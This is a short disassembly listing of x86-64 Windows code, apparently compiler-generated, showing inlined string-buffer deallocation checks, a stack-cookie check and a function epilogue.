call fcn.14000504c
nop
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x140002af6
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002af1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002af1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000504c
mov qword [rbp - 8], rdi
mov qword [rbp], 0xf
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140002b1c
inc rdx
mov rcx, qword [rbp + 8]
call fcn.140004bf0
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], 0
lea rcx, [rbp + 0x28]
call fcn.140003ea0
mov eax, r12d
mov rcx, qword [rbp + 0xa20]
xor rcx, rsp
call fcn.140004ff0
lea r11, [rsp + 0xb30]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret